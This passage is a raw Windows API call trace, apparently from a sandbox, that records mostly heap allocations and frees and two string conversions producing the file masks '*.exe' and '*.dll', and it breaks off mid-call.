[0173.068] Wow64DisableWow64FsRedirection (in: OldValue=0x2dfb24 | out: OldValue=0x2dfb24*=0x0) returned 1 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2800) returned 0xd62850 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d5e8 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2d8 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1f8 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1f8) returned 1 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2d8) returned 1 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd62850) returned 1 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2800) returned 0xd62850 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d5e8 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2d8 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1f8 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2c8 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d600 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2b8 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1b0 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2a8 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c168 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1f8) returned 1 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2d8) returned 1 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2c8) returned 1 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.069] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d5e8 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2c8 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.069] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2d8 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1f8 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1b0) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2b8) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c168) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2a8) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d600) returned 1 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d600 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2a8 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c168 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2b8 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1b0 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2c8) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1f8) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2d8) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d5e8 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2d8 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1f8 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2c8 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c168) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2a8) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1b0) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2b8) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d600) returned 1 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd62850) returned 1 [0173.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5d9d0 [0173.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c1f8, cbMultiByte=5, lpWideCharStr=0xd5d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5da58 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d9d0) returned 1 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d600 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2b8 [0173.070] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5d9d0 [0173.070] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5da58) returned 1 [0173.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5da58 [0173.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c288, cbMultiByte=5, lpWideCharStr=0xd5da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dae0 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5da58) returned 1 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2a8 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5da58 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5dae0) returned 1 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1f8) returned 1 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2d8) returned 1 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2c8) returned 1 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2800) returned 0xd62850 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d5e8 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2c8 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1f8 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2d8 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1b0 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d298 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c168 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d288 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.071] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x20) returned 0xd5bc08 [0173.071] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d278 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c240 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d268 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d258 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x20) returned 0xd65058 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d248 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5e8 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d238 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c630 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d228 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c678 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d218 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c6c0 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d208 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c708 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d1e8 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c750 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d1f8 [0173.072] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c798 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1f8) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2c8) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1b0) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2d8) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c168) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d298) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d288) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c240) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d278) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d268) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d258) returned 1 [0173.072] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bc08) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d5e8 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d258 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d268 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d278 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c240 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d288 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x20) returned 0xd5bc08 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d298 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c168 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2d8 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1b0 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2c8 [0173.073] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1f8 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5e8) returned 1 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d248) returned 1 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c630) returned 1 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d238) returned 1 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c678) returned 1 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d228) returned 1 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c6c0) returned 1 [0173.073] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d218) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c708) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d208) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c750) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d1e8) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c798) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d1f8) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd65058) returned 1 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x20) returned 0xd65058 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d1f8 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c798 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d1e8 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c750 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d208 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c708 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d218 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c6c0 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d228 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c678 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d238 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c630 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d248 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5e8 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d258) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d268) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c240) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d278) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d288) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c168) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d298) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1b0) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2d8) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1f8) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2c8) returned 1 [0173.074] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bc08) returned 1 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x20) returned 0xd5bc08 [0173.074] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2c8 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1f8 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2d8 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1b0 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d298 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c168 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d288 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d278 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c240 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d268 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d258 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c798) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d1f8) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c750) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d1e8) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c708) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d208) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c6c0) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d218) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c678) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d228) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c630) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d238) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5e8) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d248) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd65058) returned 1 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd62850) returned 1 [0173.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dae0 [0173.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 